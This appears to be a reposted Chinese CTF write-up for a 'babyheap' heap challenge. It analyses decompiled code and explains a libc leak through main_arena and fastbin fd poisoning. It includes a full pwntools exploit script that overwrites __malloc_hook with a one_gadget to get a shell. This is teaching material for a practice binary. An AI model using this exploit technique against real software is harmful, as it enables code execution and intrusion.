babyheap_fastbin_attack

Posted playmak3r

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了babyheap_fastbin_attack相关的知识,希望对你有一定的参考价值。

babyheap_fastbin_attack

首先检查程序保护

技术图片

保护全开。是一个选单系统

技术图片

分析程序

void new()
{
  int index; // [rsp+0h] [rbp-10h]
  signed int size; // [rsp+4h] [rbp-Ch]
  void *ptr; // [rsp+8h] [rbp-8h]

  for ( index = 0; index <= 63; ++index )
  {
    if ( !*((_DWORD *)&flag + 4 * index) )
    {
      size = read_0();
      if ( size <= 0 || size > 1024 )
        exit(1);
      ptr = malloc(size);
      if ( !ptr )
        exit(1);
      *((_DWORD *)&flag + 4 * index) = 1;
      *((_DWORD *)&::size + 4 * index) = size;
      ::ptr[2 * index] = ptr;
      edit_0(index, size);
      return;
    }
  }
}

创建一个堆,将堆的信息(大小,是否使用,指针)存放在bss段中,并且将内容写入堆中

__int64 edit()
{
  signed int index; // [rsp+8h] [rbp-8h]
  int size; // [rsp+Ch] [rbp-4h]

  index = read_0();
  if ( index < 0 || index > 63 )
    exit(1);
  if ( !*((_DWORD *)&flag + 4 * index) )
    exit(1);
  size = read_0();
  if ( size <= 0 )
    exit(1);
  return edit_0(index, size);
}

修改长度为我们所控制,可以实现堆溢出。

ssize_t print()
{
  int index; // [rsp+Ch] [rbp-4h]

  index = read_0();
  if ( index < 0 || index > 63 )
    exit(1);
  if ( !*((_DWORD *)&flag + 4 * index) )
    exit(1);
  return write(1, (const void *)ptr[2 * index], *((signed int *)&size + 4 * index));
}

打印堆的内容,长度由一开始定义时决定

_QWORD *delete()
{
  _QWORD *result; // rax
  int index; // [rsp+Ch] [rbp-4h]

  index = read_0();
  if ( index < 0 || index > 63 )
    exit(1);
  if ( !*((_DWORD *)&flag + 4 * index) )
    exit(1);
  free((void *)ptr[2 * index]);
  *((_DWORD *)&flag + 4 * index) = 0;
  *((_DWORD *)&size + 4 * index) = 0;
  result = ptr;
  ptr[2 * index] = 0LL;
  return result;
}

删除堆,将标志位和size全部清0但是指针没有清0,可以达到再次利用的效果

有两处可以利用点。堆溢出和指针未清0。

保护全开,我们可以再malloc hook地址处写入one_gadget

不过首先我们要先泄露libc的基址,可以利用main_arena

当fastbin为空时,unsortedbin的fd和bk都指向自身main_arena。

先分配4个0x80堆块(最后一个堆块防止unlink),首先第一个堆块实现堆溢出,修改第二个堆块大小(第二个堆块和第三个堆块合并大小0x121),之后删除第二个堆块,再重新分配一个大小和第二个堆块一样大的堆(0x110)分配到了第二个堆块的位置,之后再删除第三个堆块变为(unsorted_bin)。通过打印第二个堆,泄露第三个堆的内容即main_arena附近的地址,但是其还要减去0x88,如下图所示
技术图片

具体步骤如下

new(0x80,'a'*0x80)
new(0x80,'a'*0x80)
new(0x80,'a'*0x80)
new(0x80,'a'*0x80)#prevent unlink
payload='a'*0x80+p64(0)+p64(0x121)#fake chunk size
edit(0,len(payload),payload)
dele(1)
payload='a'*0x80+p64(0)+p64(0x91)+'b'*0x80
new(len(payload),payload)
dele(2)#unsorted bin
show(1)#show the main_arnea
p.recvuntil(p64(0x91))
main_arena=u64(p.recv(6)+'x00'+'x00')-0x88
print hex(main_arena)
p.recvuntil('>> ')

拿到main_arena的地址之后,我们要在libc中找到main_arena的地址。将题目给我们的libc放入IDA64位中

寻找malloc_trim函数找到如下数组变为main_arena的地址

技术图片

减去便可以得到libc的基址。

之后我们要再malloc hook地址写入one_gadget,利用最简单的fastbin_attack,伪造FD即可

fastbin_attack原理

在这之前先研究一下fastbin原理。当大小小于0x80的chunk被free时便会生成fastbin。

采用单链表形式处理,其中fd指向前一个大小相同的fastbin。再分配同样大小的chunk时fastbin会向从后向前取,而取的依据就是fd指针。示例代码入下:

技术图片

当free全部结束后

技术图片

技术图片

malloc一个堆后链表头变为最后一个fastbin的fd,也就是前一个bin的地址,依次类推

技术图片

运行这个例子发现的确是从后向前取的

技术图片

因此我们可以推断是根据fd来决定malloc的地址,如果我们恶意的修改了fd指针那么就可以实现任意写。

首先我们分配两个fast chunk,第一个用来填unsortedbin,free第二个chunk,使其变为fastbin,栈溢出修改第二个chunk的fd指针指向malloc_hook附近的地址然后对其进行写入one_gadget。

我们查看一下malloc_hook附近的位置,开辟的位置加8要能够伪造大小相同的chunk,且至少要在0x7ffffdd1b00以上开辟,而在0x7ffff7dd1afd处开辟正好能够伪造chunk的大小位0x70。于是将伪造的fd指向此处
技术图片

from pwn import *
#context.log_level='debug'
p=process('./babyheap')
#p=remote('152.136.18.34','9999')
def new(size,content):
    p.recvuntil('>> ')
    p.sendline('1')
    p.sendline(str(size))
    p.send(content)
def edit(index,size,content):
    p.recvuntil('>> ')
    p.sendline('2')
    p.sendline(str(index))
    p.sendline(str(size))
    p.send(content)
def show(index):
    p.recvuntil('>> ')
    p.sendline('3')
    p.sendline(str(index))
def dele(index):
    p.recvuntil('>> ')
    p.sendline('4')
    p.sendline(str(index))

new(0x80,'a'*0x80)#0
new(0x80,'a'*0x80)#1
new(0x80,'a'*0x80)#2
new(0x80,'a'*0x80)#prevent unlink 3
payload='a'*0x80+p64(0)+p64(0x121)#fake chunk size
edit(0,len(payload),payload)
dele(1)
payload='a'*0x80+p64(0)+p64(0x91)+'b'*0x80
new(len(payload),payload)#1
dele(2)#unsorted bin
show(1)#show the main_arnea
p.recvuntil(p64(0x91))
main_arena=u64(p.recv(6)+'x00'+'x00')-88
print hex(main_arena)
libc_base=main_arena-0x3c4b20
print hex(libc_base)
malloc_hook=main_arena-0x10

fake_chunk=malloc_hook-0x10-0x3
one_gadget=libc_base+0x4526a
new(0x80,'b'*0x80)#2
new(0x60,'c'*0x60)#4
dele(4)
payload='a'*0x80+p64(0)+p64(0x71)+p64(fake_chunk)
edit(3,len(payload),payload)
print hex(fake_chunk)
payload=0x3*'a'+p64(one_gadget).ljust(0x60,'0')
new(0x60,'e'*0x60)
new(0x60,payload)
new(0x90,'a'*0x90)
p.interactive()

以上是关于babyheap_fastbin_attack的主要内容,如果未能解决你的问题,请参考以下文章

在区分源代码,对象代码,汇编代码和机器代码时,我有一个困惑

Java中普通代码块,构造代码块,静态代码块区别及代码示例

Java中普通代码块,构造代码块,静态代码块区别及代码示例2 构造代码块

Java中普通代码块,构造代码块,静态代码块区别及代码示例2 构造代码块

上古卷轴5代码

低代码究竟是啥?